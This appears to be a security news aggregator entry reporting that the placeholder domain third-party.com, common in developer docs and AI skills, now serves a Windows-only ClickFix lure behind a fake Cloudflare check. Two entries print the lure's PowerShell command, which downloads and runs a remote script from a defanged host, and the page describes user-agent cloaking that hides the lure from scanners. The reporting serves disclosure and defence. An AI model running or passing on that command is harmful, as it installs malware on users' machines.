Reported by 9 outlets
Placeholder domain used in dev docs now serves ClickFix attacks
Why this score
- Breadth
- 2.00 / 2.0 · 9 sources
- Authority
- 1.80 / 2.0 · best outlet weight
- Severity
- 0.50 / 5.0 · CVSS + content signals
- Velocity
- 0.00 / 2.0 · updates in 48h
- Pickup speed
- 0.00 / 0.6 · time to second source
- Recency
- × 0.00 temporal multiplier
- Community
- + 0.00 / 1.5 · reddit signal
- Score
- 0.0 / 10 = base × recency + community
Desk analysis
The documentation placeholder domain third-party.com is serving a ClickFix attack to Windows visitors. Unlike example.com, which IANA reserves for documentation, third-party.com is an ordinary registered domain that anyone can claim, and someone did. Manifold Security researchers including Ax Sharma and Swapnil Patil disclosed that the domain is hardcoded in over 1,500 files across 1,700+ repositories, among them Chromium, Sanity and Vercel, so documentation, tests and AI skills referencing it point readers at attacker infrastructure. BleepingComputer confirmed the fake Cloudflare "Performing security verification" page shown to Windows user agents.
The lure copies a PowerShell command to the clipboard, powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null", dressed up as a captcha token, then talks the victim into Win+R, Ctrl+V and Enter. macOS and Linux callers get a harmless "macOS is not supported" decoy, so scanners using non-Windows user agents see the benign page. That gating has prior telemetry: the IPFire blocklist listed the domain as malware on July 7, 2026 and removed it on July 17, consistent with checkers receiving the decoy. A VirusTotal scan dated May 2, 2026 shows the second-stage domain elxxvvx[.]xyz distributing a PowerShell script that pulls a 131MB update2.zip, so the infrastructure predates the September disclosure by months.
At disclosure time the payload host was not resolving. Watch whether third-party.com changes hands or gets sinkholed, for new second-stage infrastructure, and for copycats registering other unreserved placeholder domains used in docs and AI tooling.
Timeline
-
original reporting
Placeholder domain used in dev docs now serves ClickFix attacks
bleepingcomputer.com · 20d ago · September 23rd, 2026
The "third-party.com" domain, commonly used as a placeholder in developer documentation and code examples, is serving a fake Cloudflare verification page that attempts to trick Windows users into executing PowerShell commands. The domain third-party.com has long been used in documentation to represent an arbitrary external website, API, or service, similar to how developers use domains such as example.com. However, unlike example.com, example.net, and example.org, which IANA reserves specifically for documentation, third-party.com is a normally registered domain whose content its owner can control. This difference is now a security concern after the domain began serving a ClickFix attack that impersonates a Cloudflare security check. Manifold Security first reported the malicious use of the domain after discovering it while examining public AI skills and MCP server documentation that referenced the domain. BleepingComputer has since confirmed that the page displays a fake Cloudflare "Performing security verification" CAPTCHA screen containing a "Verify you are human" prompt. After the user clicks the verification box, the site copies a malicious PowerShell command into the Windows Clipboard, and then instructs the user to press the Windows key + R, paste the contents of their clipboard using Ctrl+V, and press Enter. Clickfix attack on third-party.com Source: BleepingComputer When the PowerShell command runs, it reconstructs the payload URL elxxvvx[.]xyz/f, downloads a PowerSh
-
update from virustotal.com
VirusTotal: second-stage domain elxxvvx[.]xyz distributed update2.zip in May 2026
virustotal.com · 165d ago · May 2nd, 2026
A VirusTotal scan dated May 2, 2026, cited in BleepingComputer's reporting, shows the second-stage domain elxxvvx[.]xyz distributed a PowerShell script configured to download a 131MB zip archive from elxxvvx[.]xyz/update2.zip. The staged script is archived under hash daf619aa8cc74dab02c360f46f9f4b7b1654ba478ee89992a3512a46f1f4c209. This places the second-stage infrastructure in operation months before the September 2026 disclosure of the third-party.com lure.
-
update from web.archive.org
Internet Archive capture of third-party.com serving the ClickFix lure, June 15 2026
web.archive.org · 121d ago · June 15th, 2026
Manifold Security's disclosure links this Internet Archive capture of http://third-party.com/ as evidence the domain has served the ClickFix lure since at least June 2026. The capture timestamp embedded in the archived URL is June 15, 2026 02:33:40 UTC, making it the earliest documented malicious activity of the domain, roughly three months before the September 23, 2026 coverage.
-
update from ipfire.org
IPFire blocklist flagged third-party.com as malware July 7 2026, delisted July 17
ipfire.org · 99d ago · July 7th, 2026
Per Manifold Security, the public IPFire domain blocklist listed third-party.com as malware on July 7, 2026 and removed it on July 17, 2026, a reversal consistent with blocklist checkers using non-Windows user agents and receiving the benign decoy page. The brief listing is early third-party telemetry that the domain served malicious content by early July 2026, and direct evidence of the user-agent gating that hides the lure from scanners.
-
update from manifold.security
Manifold Security disclosure: third-party.com serves Windows-only ClickFix lure
manifold.security · 21d ago · September 23rd, 2026
Manifold Security researchers including Ax Sharma and Swapnil Patil disclosed that third-party.com, a documentation placeholder hardcoded in over 1,500 files across 1,700+ repositories including Chromium, Sanity, and Vercel, serves a fake Cloudflare verification page only to Windows user agents. The page poisons the clipboard with powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null" dressed as a captcha token, while macOS and Linux callers get a harmless "macOS is not supported" decoy. The team reported the domain to registrar Network Solutions before publishing, and BleepingComputer credits this post as the first report.
-
update from www.bleepingcomputer.com
Looks like the hackers are following @ SecureOwl "...The "third-party.com" domain, commonly used as a placeholder in developer documentation
www.bleepingcomputer.com · 20d ago · September 23rd, 2026
Looks like the hackers are following @ SecureOwl "...The "third-party.com" domain, commonly used as a placeholder in developer documentation
via Mastodon https://www.bleepingcomputer.com/news/security/placeholder-domain-used-in-dev-docs-now-serves-clickfix-attacks/
-
update from www.manifold.security
(manifold.security) Abuse of Placeholder Domains in Documentation: Malvertising, Scareware, and Investment Fraud via GitHub and AI Agents In
www.manifold.security · 19d ago · September 24th, 2026
(manifold.security) Abuse of Placeholder Domains in Documentation: Malvertising, Scareware, and Investment Fraud via GitHub and AI Agents In
via Mastodon https://www.manifold.security/blog/placeholder-domains-ads-serve-scams
-
mentioned by www.bleepingcomputer.com
Placeholder domain used in dev docs now serves # ClickFix attacks https://www. bleepingcomputer.com/news/secu rity/placeholder-domain-used-i
www.bleepingcomputer.com · 19d ago · September 24th, 2026
-
mentioned by app.any.run
A widely used placeholder domain from developer docs third-party[.]com is now serving a #ClickFix lure targeting Windows users. See analysis
app.any.run · 18d ago · September 25th, 2026
-
update from malware.news
Criminals turn placeholder domain into ClickFix trap
malware.news · 18d ago · September 25th, 2026
A domain that has long appeared in software documentation, code examples, and developer test material is now being used to push a ClickFix attack against Windows users. The best-known is probably example.com . However, there is a very important difference between the two: example.com is reserved for documentation, while third-party[.]com is an ordinary domain. Anyone could register it, and someone did. Every document, test, and skill that hardcoded it now points readers and users to the attacker’s infrastructure. The page tries to persuade them to open the Windows Run box and paste a command it has copied to their clipboard.This command is designed to download and execute a PowerShell script. At the time of writing the domain hosting the script is not resolving. ClickFix is a social-engineering technique that turns the victim into the malware installer. Instead of relying on a malicious attachm
-
mentioned by www.malwarebytes.com
(malwarebytes.com) Exploiting Placeholder Domains: How Third-Party[.]com Became a Vector for ClickFix Attacks on Windows Users In brief - Th
www.malwarebytes.com · 18d ago · September 25th, 2026
-
update from hackread.com
⚠️📢 Placeholder domains referenced across 359,000 GitHub files and 349 AI agent skills were found redirecting some visitors to cloaked scams
hackread.com · 17d ago · September 26th, 2026
⚠️📢 Placeholder domains referenced across 359,000 GitHub files and 349 AI agent skills were found redirecting some visitors to cloaked scams
via Mastodon https://hackread.com/placeholder-domains-ai-agent-skills-redirect-scams/